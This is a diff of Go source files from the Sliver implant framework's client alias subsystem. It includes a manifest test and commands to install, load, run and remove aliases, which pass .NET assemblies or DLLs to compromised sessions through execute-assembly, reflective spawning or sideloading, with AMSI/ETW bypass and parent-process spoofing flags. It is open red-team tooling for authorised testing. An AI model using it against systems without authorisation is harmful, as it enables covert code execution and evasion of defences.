"version": "1.0.0",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"entrypoint": "foo",
|
||||
"allow_args": true,
|
||||
"default_args": "bar",
|
||||
"is_reflective": true,
|
||||
"is_assembly": true,
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseAliasManifest(t *testing.T) {
|
||||
alias1, err := ParseAliasManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing alias manifest: %s", err)
|
||||
}
|
||||
|
||||
if alias1.Name != "test1" {
|
||||
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
|
||||
}
|
||||
|
||||
if alias1.CommandName != "test1" {
|
||||
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
|
||||
}
|
||||
|
||||
if alias1.Version != "1.0.0" {
|
||||
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
|
||||
}
|
||||
|
||||
if alias1.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
|
||||
}
|
||||
|
||||
if alias1.Help != "some help" {
|
||||
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
|
||||
}
|
||||
|
||||
if alias1.Entrypoint != "foo" {
|
||||
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
|
||||
}
|
||||
|
||||
if !alias1.AllowArgs {
|
||||
t.Errorf("Expected allow_args to be true, got false")
|
||||
}
|
||||
|
||||
if alias1.DefaultArgs != "bar" {
|
||||
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
|
||||
}
|
||||
|
||||
if !alias1.IsReflective {
|
||||
t.Errorf("Expected is_reflective to be true, got false")
|
||||
}
|
||||
|
||||
if !alias1.IsAssembly {
|
||||
t.Errorf("Expected is_assembly to be true, got false")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, cmdFile := range manifest.Files {
|
||||
if cmdFile.Path != "" {
|
||||
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -0,0 +1,476 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "alias.json"
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var (
|
||||
// alias name -> manifest/command
|
||||
loadedAliases = map[string]*loadedAlias{}
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
CommandName string `json:"command_name"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("%s alias has been loaded\n", alias.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
err := json.Unmarshal(data, alias)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if alias.Name == "" {
|
||||
return nil, fmt.Errorf("missing alias name in manifest")
|
||||
}
|
||||
if alias.CommandName == "" {
|
||||
return nil, fmt.Errorf("missing command.name in alias manifest")
|
||||
}
|
||||
if alias.Help == "" {
|
||||
return nil, fmt.Errorf("missing command.help in alias manifest")
|
||||
}
|
||||
|
||||
for _, aliasFile := range alias.Files {
|
||||
if aliasFile.OS == "" {
|
||||
return nil, fmt.Errorf("missing command.files.os in alias manifest")
|
||||
}
|
||||
aliasFile.OS = strings.ToLower(aliasFile.OS)
|
||||
if aliasFile.Arch == "" {
|
||||
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
|
||||
}
|
||||
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
|
||||
aliasFile.Path = util.ResolvePath(aliasFile.Path)
|
||||
if aliasFile.Path == "" || aliasFile.Path == "/" {
|
||||
return nil, fmt.Errorf("missing command.files.path in alias manifest")
|
||||
}
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
|
||||
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, executeAssemblyResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
|
||||
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawnDllResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if sideloadResp.Response != nil && sideloadResp.Response.Async {
|
||||
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideloadResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveAliasByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing alias: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Alias '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveAliasByCommandName - Remove an alias by command name
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedAliases[commandName]; !ok {
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
